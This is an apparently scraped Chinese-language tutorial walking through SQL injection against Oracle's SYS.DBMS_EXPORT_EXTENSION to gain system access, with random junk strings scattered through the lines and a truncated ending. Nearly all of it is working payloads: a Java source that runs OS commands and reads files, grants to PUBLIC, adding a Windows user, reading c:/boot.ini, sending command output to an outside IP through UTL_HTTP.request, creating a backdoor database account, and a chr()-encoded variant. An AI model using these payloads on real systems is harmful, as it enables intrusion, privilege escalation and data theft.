以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 2 `4 d/ V/ h* |4 v3 m
% W7 q! N/ [. p+ \3 Y; \6 M
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) 0 U5 y( ]+ m& L& q
的形式即可。(用" 'a'|| "是为了让语句返回true值)
# l; K! w A: {% o% e" r, N4 j语句有点长,可能要用post提交。 2 b4 P# p- P5 p; V# W% y) p0 R/ Y7 _
以下是各个步骤: : b$ y6 Y; g, o7 ]: U9 U3 E
1.创建包
3 ~" s' O" K; X# I( C7 e( y2 f通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:, i: w6 D$ m& R7 L
/xxx.jsp?id=1 and '1'<>'a'||( . U% z2 b$ t/ Q9 m; u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 P1 D" \0 \$ Q' }* v
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(9 W5 f+ }( {( F
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}+ L0 ^# _: Q3 Z6 V
}'''';END;'';END;--','SYS',0,'1',0) from dual
* ^. w. U4 _# b: [9 _8 k) 3 E+ M% e2 p3 T# G, t
------------------------ 3 q5 `, p; `1 ?
如果url有长度限制,可以把readFile()函数块去掉,即: : v8 x( o5 L3 L1 f
/xxx.jsp?id=1 and '1'<>'a'||( 1 h( E! F0 A. g& `# L% [0 X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; r- A3 {5 g+ U' d
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
* C" L6 A+ l" d7 c3 l8 e6 ~new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}% u; C3 Y3 J( P1 p
}'''';END;'';END;--','SYS',0,'1',0) from dual ! E: B, S9 C- l4 \
)
$ R9 R- B T4 \8 E同时把后面步骤 提到的 对readFile()的处理语句去掉。
6 U8 R+ b d& V; U7 _9 N( k: R------------------------------
2 t2 h6 Z* w& e* J1 h; Q( q* E2.赋Java权限 2 v0 s2 x+ {# Z1 P, [+ T5 e A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual/ }! @6 {% @6 q7 g4 O/ |
3.创建函数 / @3 `# y! c, n$ \1 ^
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 H7 } R! x* [ I$ _create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
) T3 v+ N0 d- N* S4 H2 Q8 R$ Cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ s( y. @; i, M R% wcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
) r' H6 q0 _6 b7 H4.赋public执行函数的权限 ) x/ _4 Z" b) g; n6 V1 I& [% h
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual( }" J7 l4 u- I5 Q( Y- [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
$ t! g6 ?1 \% P) x7 I) J7 a# Z5.测试上面的几步是否成功
/ w6 C. Y p8 `3 d: hand '1'<>'11'||( ! X4 [! @. J5 N6 u
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
2 v4 C5 C q; ]9 x; n3 n( t)
8 |% ?8 s# R0 u& yand '1'<>( 8 [) g8 Q- m) w7 C# J, e; Z
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
0 X5 x, w+ I; I& Q+ R P/ w) V)
& g% h( c; Q, \! m. l* R6.执行命令:
6 g5 ]" b; Y, n& W5 R' n! y" V/xxx.jsp?id=1 and '1'<>( 7 m5 t+ K% [1 p2 _ h0 ]7 k, Q
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
) k1 L! @$ V, _ p4 @) V9 `0 J" _; u9 ~# }
)
+ z) M) g+ b% F& P* ~! P* Z" C" o$ ^/xxx.jsp?id=1 and '1'<>(
5 n5 V/ {# F7 t( R) u8 q( Vselect sys.LinxReadFile('c:/boot.ini') from dual
) c* z, P$ F- \7 R: D8 T% n: B$ L
) r8 e0 x. V. ]: ?% `! O7 I* S)/ u% ^7 C4 z9 [ F% a2 }0 _
7 m h( Q4 a6 u# |注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 : A+ L0 K6 ^( Q h- M# v
如果要查看运行结果可以用 union :
% |7 F6 q1 D n/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
" q# t& G; \7 B+ O( \8 y0 q" ^5 t, W或者UTL_HTTP.request(: ( Q, ~& W4 w2 @3 j
/xxx.jsp?id=1 and '1'<>( 6 A; `" T* c9 ^! k* d
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
7 C% [1 K/ H# g Y)
; o8 O/ u" A- |/xxx.jsp?id=1 and '1'<>(
, C! _/ J4 D' L1 p3 E+ {SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual' D2 q% l% C9 n1 E% B
) & ?* A; r# n; S4 T: V/ p) G
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。6 j: n! K- @' B4 S& F; ~
-------------------- 9 f1 M' p2 R7 L( G0 F# I/ Z
6.内部变化
- u9 }1 Y% u1 e" K4 s% C通过以下命令可以查看all_objects表达改变:
2 _: i8 Q1 U4 Nselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
' w7 P5 t$ X" x, w3 ?% j% d7.删除我们创建的函数
4 }/ l7 O8 r# m* `5 w0 D# cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ _4 k) i( c9 N; t% S
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
" s" o( h- p) T' g5 A7 R: f% |====================================================
/ ~" V* E3 M6 q' t全文结束。谨以此文赠与我的朋友。 % o& U+ g1 R: }4 k* \" D
linx 6 O; W/ @. K8 d- P; {
124829445
5 S. x9 X) ]- Z$ `5 {3 s- [* V2008.1.12 : Q* G' n6 b" }: q/ k1 V' \
linyujian@bjfu.edu.cn / T" W; K' J% |1 X
====================================================================== ( l* k! u! P+ x6 H% A$ l4 S
测试漏洞的另一方法:
K" g1 m5 ?" ` P# W% Z创建oracle帐号:
3 Q B) t A! H& Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" f3 R& H9 @" n
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
/ Z* D; t! h: J" e) c* @. c2 c2 ^即:
' ~9 i: i- d q$ J# Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
( _) r- h* S( b/ x% p6 z. nchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
4 q' a7 t2 d% O" B2 \7 L1 j确定漏洞存在: 5 n9 E0 U) L. Q* Y( y
1<>( 1 b1 x, P) Q! c0 S6 a, G
select user_id from all_users where username='LINXSQL'
( j8 y! u |! y- s- R7 C8 r& P$ ]) 9 L- w( w. T- S7 ~- s
给linxsql连接权限:
( d9 f, m2 L, h8 k. C3 Y1 s: \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 D6 o) Q% x( f0 @5 U5 YGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
/ R" x" b! q; a5 C( y5 p* u6 m: [删除帐号: ; t, Q) k" e; j' u- i4 F3 S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, e% |& M9 W% f H& n* zdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
4 i& X4 a, N- V% d2 J======================
e" d/ V- h+ D4 C& c8 @以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:. A7 U! r, I; X, E/ c P' ]
1.jsp?id=1 and '1'<>( ' b m- F- p" n L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 m! }$ S% o4 k2 F
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual0 l6 I; }% n P7 V4 |' {7 k* ~
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE% P" O& w6 `* O1 @
)
0 B. O$ x p' ~+ Z
. V3 L3 N; v, j7 Z. I4 c! W) O! j# G6 \& B$ v
, G' |8 ~7 q% T" n" x8 T/ V+ { |